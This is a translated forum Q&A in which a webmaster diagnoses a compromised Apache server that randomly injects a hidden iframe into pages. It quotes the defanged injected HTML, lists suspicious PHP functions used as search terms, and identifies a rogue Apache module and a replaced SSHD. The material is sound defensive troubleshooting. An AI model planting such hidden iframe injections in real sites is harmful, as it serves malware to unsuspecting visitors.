编辑：此帖评论中包含更多信息/调查信息
抱歉，标题太模糊了——很难总结这一点。
我最近发现我的一个网站正在传播恶意软件。因此，我搜索了 httpdocs 下的每个文件，寻找任何可疑的内容，即在 PHP 文件中调用 shell_exec、eval、base64、passthru、includes、requires、cookie 函数。我还检查了所有 JS 文件以寻找可疑方法，此外，由于该网站的各个方面都是从数据库构建的，因此我搜索了其中是否有任何可疑内容（使用 phpmyadmin db 搜索功能来查找 php shell 等和典型的 js 恶意软件命令）
一切都无济于事，我就是找不到这个在哪里。因此，我重新上传了正在运行的软件的所有文件，并有效地重新安装了站点文件。我还让软件检查了一下，但他们也没能找到任何东西。
这让我得出一个结论：更高级别的某个东西，即 Apache 已被攻陷。那么问题是我应该在这里检查什么？
我正在运行一个专用的服务器，该服务器只为这个网站提供服务，而且只有我有权限访问（他说），所以我可以运行任何需要的程序来帮助诊断这个问题
恶意软件如何呈现自己？
间歇性地将以下代码放入我的标签中：
<style>
.iqb71l { position:absolute; left:-1958px; top:-1826px}
</style>
<div class="iqb71l"><iframe src="hXXp://1.1.1.1/f72387bd1dfab35f89f1899e1be07c08/q.php" width="198" height="501"></iframe></div>
注意：在上面的代码示例中，我已将“http”更改为“hXXp”，并将 IP 地址更改为“1.1.1.1”
但是，代码并不总是被注入的，它似乎是随机添加的。此外，当代码确实出现时，IP 地址、后续 guid 和类名通常都不同。
此外，没有任何恶意软件扫描程序（例如 Google 网站管理员工具等）能够发现这一点。因此我猜测这不仅仅是一种基本的注入，它会随机选择何时出现，动态选择要注入的地址，并且对于恶意软件扫描程序引用者来说似乎是不可见的。
我花了大量时间在 Google 上搜索，也没能找到任何类似的情况，不过，我发现很多网站管理员都询问过他们的服务器上出现了一个神秘的 q.php 文件。
答案1
识别 PHP 代码中的恶意软件是一场噩梦。但我将分享一些基本技巧，这些技巧是我在成功清除多个此类噩梦的过程中总结出来的。
首先，您是否有该网站的干净版本？例如，与您可以比较的版本staging相邻的版本？如果有，请以如下模式运行CRC 检查：productionrsyncdry-run
rsync -rvnc --exclude '.svn' --exclude 'xml' --exclude 'temp' --exclude 'tmp' --exclude 'cache' /clean/version/of/site/ /infected/version/of/site/
请注意，我添加了一些--exclude参数来排除已知临时和缓存目录的检查。
如果您没有要比较的干净站点副本，只需下载您正在使用的 PHP 软件的全新安装版本，将其用作比较基础。假设您的 WordPress 站点被感染了？下载完全相同版本的 WordPress 并进行上述 Rsync 比较。
仅通过进行 Rsync CRC/Dry-Run 比较，他就帮助我追踪感染并立即清理它们。基本上，逐个检查 Rsync 认为不同或新的文件列表，以查看它们是否被感染。十有八九，你会发现文件末尾注入了代码，这些代码（找不到更好的术语）看起来像垃圾。那就是感染。
但不要太过自满。变化是还有其他感染。在许多情况下，至少有 2 或 3 个。因此，请手动检查 Rsync 声明不同的每个文件，直到完全清除为止。
您没有说明您的网站基于哪种 PHP 代码，但我也会立即建议您将安装的软件更新为最新修补版本。您很可能不是第一个遇到此问题的人，而且这是一个已知问题，因此修补程序将堵塞恶意软件最初利用的漏洞。
哦，关于恶意软件进入您的数据库，这可能是一个入口点，但更常见的是恶意软件通过数据库获取用户访问权限进入您的网站，然后将恶意软件写入文件系统上的 PHP 代码库。
答案2
在这里回答我自己的问题（这绝不会贬低 JakeGould 的回答）
我终于找到了造成这种情况的原因，而不是写下来，而是在这一页上进行了简洁的总结：
使用该页面（和链接的文章）上的指导，我查看了已加载的 Apache 模块，发现 mod_view_proxy.so 不是已知的 Apache 模块。这是通过 /etc/httpd/conf.d/perl.conf 中的 LoadModule 指令加载到 Apache 中的。所有文件都已被触及，因此它们上的日期时间戳看起来并不可疑。正如博客文章中提到的，SSHD 也已被替换为不同的版本。
至于它是如何受到损害的，并不完全确定 - 假设它是由于运行旧版本的 vBulletin 和/或它的一个插件造成的（这完全是我的错）。
此外，我还需要向这些家伙表示感谢：
从这个帖子中你可以看出，我已经用尽了我所有的想法和技术能力，所以作为最后的手段，我带着我所知道和做过的一切去了 Sucuri。是的，这是一项付费服务，但他们找到了问题并解决了它——他们的服务非常棒。他们真心实意地帮助我解决这个问题，这种水平的服务我们现在很少见到。我对他们只有赞美，我会毫不犹豫地向任何处于我这个位置的人推荐他们。